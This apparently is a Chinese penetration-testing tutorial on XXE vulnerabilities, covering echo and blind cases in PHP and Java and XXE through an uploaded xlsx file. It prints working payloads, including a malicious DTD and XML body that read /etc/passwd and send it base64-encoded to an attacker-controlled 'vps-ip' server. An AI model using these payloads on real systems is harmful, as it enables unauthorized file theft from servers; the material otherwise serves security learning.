XML
XML 指可扩展标记语言(Extensible Markup Language),主要用来传输数据。 XML从1995年开始有其雏形,在 1998 年 2 月 10 日成为W3C的标准(XML1.0)。
DTD
DTD(Document Type Definition):文档类型定义,用于定义XML文档的合法构建模块,使用一系列合法的元素来定义文档的结构,对XML文档元素进行约束和验证。
XXE漏洞原理
漏洞的根本原因是对非安全的外部实体数据进行解析处理导致的安全问题。
常见编程语言如PHP、JAVA、Python、.NET等使用不当均可能存在XXE漏洞
实战1:PHP回显类型
原始请求包中可以看到,POST的BODY内容使用XML格式,返回包中存在有字段User的值,此时可利用可控的User字段值获取系统中文件内容并返回给客户端。
尝试使用DTD读取磁盘文件。此处使用/etc/passwd为例,当读取php或其他文件乱码时,可考虑通过base64或其他方式编码后返回本地再解码。
实战2:PHP盲注类型
此时访问系统,发现与类型1不一致,返回包中没有了输入的User字段的值,故无法通过回显获取系统内的文件。
当出现盲注的情况时,可考虑通过使用OOB带外技术实现服务器内文件内容的带外读取。
此时需要一个带外服务器,在服务器上配置恶意的dtd文件,例如命名为2.dtd,并配置http服务可被外部访问,端口1234可变更,确保被攻击服务器可访问恶意服务器的ip地址及该端口即可:
<!ENTITY % all"<!ENTITY % send SYSTEM 'http://vps-ip:1234/?%file;'>">%all;
通常情况下,我习惯用php直接起服务:
将原先的post的body内容改为读取远程dtd文件并执行上传文件内容命令
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://vps-ip:1234/2.dtd">
%dtd;
%send;
]>
执行完成后,在服务器上获取404的/?之后字符串,使用base64解码即可获取文件内容。需要获取不同的文件,修改file字段之后的/etc/passwd内容即可。
实战3:Java回显类型
XXE的回显使用方式大同小异,Java类型的回显与实战1一致。
实战4:Java无回显类型
Java无回显与PHP无回显使用方式大同小异,但在Java中需要注意部分环境变量的问题。此处引用部分使用过程中的他人踩坑记录。
在使用ftp 进行 oob 时,对版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件
当FTP 遇到斜杠符号表示cd到子目录,什么意思呢?
‘/’ 当遇到该符号的时候,FTP读取返回的数据就会表示成 ‘CWD’
总结:
1、所有的【\r】 都会被替换为【\n】
2、如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件,所以这里通用的方法就是FTP来进行读取
3、版本限制是 <7u141 和 <8u162 才可以读取整个文件
4、如果含有特殊字符 【%】 【&】 会完全出错
5、如果含有特殊字符 【’】 【”】 可以稍微绕过
6、如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断
7、如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case
8、如果含有特殊字符【#】,会造成截断
使用file协议读取文件内容的示例:
实战5:文件解析的xxe漏洞
尝试在本地保存一个空excel文件,将文件解压并打开,添加一个恶意外部dtd实体:
对[Content_Types].xml进行编辑,按照无回显的payload添加相关恶意语句:
将文件压缩回xslx,并上传,查看服务端解析后的运行结果。此处需要注意,压缩后的文件,Content-Type会被识别为zip包(application/octet-stream),若服务器存在后端的Content-Type校验,可在burp内手动改为excel的Content-Type(application/vnd.openxmlformats-officedocument.spreadsheetml.sheet)。
上传完成后,恶意服务器上成功获取恶意代码执行后的内容:
后续:XXE漏洞利用总结及相关坑点
待补坑。
发表回复